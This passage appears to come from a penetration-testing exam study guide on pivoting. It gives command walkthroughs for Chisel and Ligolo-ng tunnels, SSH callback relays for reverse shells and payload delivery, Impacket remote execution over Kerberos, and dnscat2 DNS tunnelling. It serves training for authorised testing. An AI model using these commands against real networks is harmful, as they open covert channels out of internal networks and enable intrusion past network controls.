Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible client/server roles, reachable carrier, correctly placed SOCKS listener and explicitly supported UDP-aware mode when required
10.13.15.1.26 Pivot/server side
# Pivot/server side
chisel server --socks5 --port CHISEL_PORT
10.13.15.1.27 Kali/client side
# Kali/client side
chisel client --fingerprint 'SERVER_FINGERPRINT' PIVOT:CHISEL_PORT \
127.0.0.1:1080:socks
Current upstream Chisel distinguishes:
socks / R:socks -> SOCKS5 TCP CONNECT only
udpsocks / R:udpsocks -> TCP CONNECT plus SOCKS5 UDP ASSOCIATE
# Requires compatible current peers
chisel client --fingerprint 'SERVER_FINGERPRINT' \
LHOST:CHISEL_PORT R:127.0.0.1:1080:udpsocks
This does not make ProxyChains UDP-capable—ProxyChains remains TCP-only. The UDP application must support SOCKS5 UDP ASSOCIATE, or another compatible adapter must be used. Current Chisel peers, TCP and UDP firewall access to the SOCKS listener, and its documented association/fragmentation limits all matter.
Verify: Verify the actual required transport end to end, with correct listener/exit placement.
If it fails: Version syntax, client compatibility and UDP destination reachability must all hold. Retain the known-working TCP path.
10.13.15.1.28 Find: Route a selected internal subnet through Ligolo-ng
Use the pivot's route/interface evidence and the intended application's transport needs to decide whether a routed interface is appropriate.
ip route
ip link
./proxy -h
Recognize: A selected internal network and proxy-incompatible client suggest a route-style agent, subject to its own transport behavior.
Validate next: Verify compatible proxy/agent, local privileges, carrier, selected route/interface, DNS and any separate reverse listener.
Route a selected internal subnet through Ligolo-ng.
10.13.15.1.29 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Compatible proxy/agent, permitted local interface/route management, reachable carrier and selected assigned subnet
10.13.15.1.29.1 Establish the Ligolo proxy-agent connection Proxy and agent
On Kali:
./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT
In the proxy console, obtain the fingerprint:
certificate_fingerprint
On the pivot:
./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT
-ignore-cert is a controlled-lab/debug fallback, not the baseline.
10.13.15.1.29.2 Create the interface and selected route needed by the pivot Current managed interface and route
In the Ligolo console:
interface_create --name ligolo
session
ifconfig
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo
Manual Linux alternative:
sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
sudo ip route add INTERNAL_SUBNET dev ligolo
Then use normal clients:
ip route get INTERNAL_HOST
nmap -sT -Pn -n -p PORTS INTERNAL_HOST
curl -v http://INTERNAL_HOST:PORT/
Ligolo translates connections through a userland network stack. Ordinary TCP clients generally work without ProxyChains, but raw-packet assumptions, ICMP details and some UDP behavior can differ from direct access. Use connect-based validation first.
10.13.15.1.29.3 Reach a service bound to the pivot host's loopback interface Pivot loopback services
Ligolo maps its special 240.0.0.0/4 range to the selected agent's loopback. Add one narrow route:
sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sT -Pn -n -p PORTS 240.0.0.1
Use this only when the desired service is bound to 127.0.0.1 on the agent.
10.13.15.1.29.4 Callback or file-server listener on the agent
In the selected Ligolo session:
listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp
listener_list
Kali listener:
ncat -lvn 127.0.0.1 KALI_PORT
An internal target connects to PIVOT_REACHABLE_IP:PIVOT_PORT; Ligolo relays it to Kali's loopback listener. Cleanup:
listener_stop LISTENER_ID
Verify: Verify route/interface ownership, destination application and each necessary reverse listener.
If it fails: Overlapping routes, wrong session/interface or absent privilege can create a misleading connected agent without a working path.
10.13.15.1.30 Find: Preserve DNS, Kerberos names and time across a pivot
Compare name resolution, ticket server principals, clock and the KDC path when an IP service works but named authentication fails.
getent hosts TARGET_HOST
klist
date -u
Recognize: The route and credential may be valid while name/SPN context is wrong.
Validate next: Check intended DNS source/result, realm/service name, time and KDC/service routes separately.
Preserve DNS, Kerberos names and time across a pivot.
10.13.15.1.31 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Reachable correct resolver/KDC path, matching target SPN/hostname, realm configuration and acceptable time
- Decide whether the application resolves the name locally, ProxyChains intercepts it, the SOCKS exit resolves it, or the pivot's configured resolver handles it.
- Use numeric addresses for route validation; then restore the confirmed hostname when the application protocol requires it.
- Kerberos needs an SPN-compatible hostname, realm/KDC route and correct time. A working IP connection does not prove Kerberos naming works.
- A temporary host mapping is acceptable only for a confirmed in-scope address/name pair and must be recorded.
getent hosts INTERNAL_FQDN
curl --socks5-hostname 127.0.0.1:1080 http://INTERNAL_FQDN:PORT/
klist
KRB5_TRACE=/dev/stderr kvno cifs/TARGET_HOST
The first command checks Kali's normal resolver. The curl form deliberately delegates the destination hostname through SOCKS. Do not assume a generic resolver utility will be intercepted by ProxyChains: NSS implementation and process behavior vary.
For Impacket, preserve the target hostname while routing to an IP when the tool supports it:
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP \
'DOMAIN/USER@TARGET_HOST'
Verify: Verify resolved destination, ticket/server principal and actual authenticated application action.
If it fails: Do not downgrade the identity claim because transport works. DNS, time, KDC access and service authorization are independent checks.
10.13.15.1.32 Find: Build the callback and delivery routes separately from the attack route
After the attack path works, draw a new path for target-initiated callbacks/downloads and inspect the listener actually advertised to that target.
ss -lnt
ip route get TARGET
Recognize: A working initiating proxy path does not route a target's new connection back to that private interface.
Validate next: Check the target's route, listener bind, chosen reverse forward/agent listener and final handler.
Build the callback and delivery routes separately from the attack route.
10.13.15.1.33 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Target-to-listener/download-server path, correct advertised address and compatible reverse listener/forward
A forward path and callback path are different graphs:
Kali -> tunnel -> internal service # access path
internal target -> pivot -> Kali listener # callback path
Options:
- make the callback directly to an address the internal host already reaches;
- expose a listener on the pivot and relay it to Kali;
- use a Ligolo agent listener or SSH/Chisel remote forward;
- choose a non-callback technique such as authenticated remote execution.
Fixed SSH callback relay, run from the pivot:
ssh -N -g -L 0.0.0.0:PIVOT_PORT:127.0.0.1:KALI_PORT \
KALI_USER@LHOST -o ExitOnForwardFailure=yes
This creates the listener on the SSH client/pivot and makes the destination connection from Kali's SSH server to Kali loopback. -g permits other hosts to use the pivot-side local forward. Verify the actual bind with ss; do not infer it from command syntax.
Also route payload delivery separately. An internal host may reach the pivot but not Kali's HTTP server; relay the delivery service or serve from the pivot when justified.
Verify: Verify the target-initiated connection from its source context and the final session or downloaded bytes.
If it fails: Wrong advertised interface, loopback bind or missing reverse forward breaks the return leg while leaving the initial attack functional.
10.13.15.1.34 Find: Compose multiple pivots and validate every connection leg
Start from the last verified first-hop state, inspect the next foothold's routes and assign each new listener/carrier a source and destination.
hostname
ip route
ss -lnt
Recognize: The break lies beyond a known working leg; a connected second carrier is not a complete final route.
Validate next: Test each listener-to-destination leg, names and return traffic independently from the correct source.
Compose multiple pivots and validate every connection leg.
10.13.15.1.35 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. A working first route, explicit second carrier/listener directions and correct per-hop DNS/return paths
For every additional hop, write another complete segment:
Kali -> tunnel A -> PIVOT_A -> tunnel B -> PIVOT_B -> INTERNAL_HOST:PORT
Rules:
- validate one hop before adding the next;
- avoid overlapping local/VPN/internal routes;
- use unique listener and SOCKS ports;
- record which session owns each route;
- ensure the deeper agent/client can reach the upstream listener;
- re-evaluate DNS and callback direction at every hop;
- prefer a routed method for several deep services instead of stacking many opaque wrappers.
An upstream tunnel failure invalidates every deeper observation. Do not troubleshoot target credentials until the complete path is restored.
Verify: Validate each hop with an application-aware test before chaining the final client.
If it fails: Avoid rebuilding every tunnel after one failure. Isolate the first broken leg and preserve working state.
10.13.15.1.36 Find: Conditional: tunnel through controlled DNS infrastructure
Use known carrier restrictions and an explicitly approved controlled domain to inspect delegation and DNS reachability.
dig DOMAIN NS
Recognize: Delegation is an infrastructure prerequisite; an NS record alone does not prove ownership or an operational tunnel.
Validate next: Confirm authorized control, resolver path, compatible client/server/runtime and supported intended operation.
Conditional: tunnel through controlled DNS infrastructure.
10.13.15.1.37 Commands and use-case variants
Need: A pivot identity/process or reachable SSH service and a drawn source-to-destination path. Controlled/delegated domain or supported direct setup, reachable DNS path, compatible server/client and allowed execution
Use only when ordinary transports are unavailable and DNS is demonstrably permitted. This is a conditional advanced route, but it remains in the current official BOK.
Prerequisites:
- command execution sufficient to run a compatible client;
- either authoritative control/NS delegation for
TUNNEL_DOMAINor direct UDP/53 reachability to the server; - a resolver chain that forwards the chosen domain externally;
- permission to bind/listen on the required DNS port;
- tolerance for low throughput and conspicuous DNS patterns.
Authoritative-domain mode:
dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN
Client:
./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN
Direct DNS-server mode shown by the server's own usage output:
./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET
Server console:
windows
window -i SESSION_ID
help
A DNS query reaching the server proves only the resolver path. Match the pre-shared secret or independently verify the negotiated authentication string. Cache, recursion, EDNS, TCP fallback, DNS security controls and response-size limits can affect the channel. DNS tunneling is not DNS spoofing; spoofing remains prohibited by the current exam guide.
Verify: Verify the actual carrier and intended forwarded action; retain delegation and connectivity prerequisites.
If it fails: No delegation, resolver interference, egress policy or missing runtime can block the route. Keep this a conditional fallback.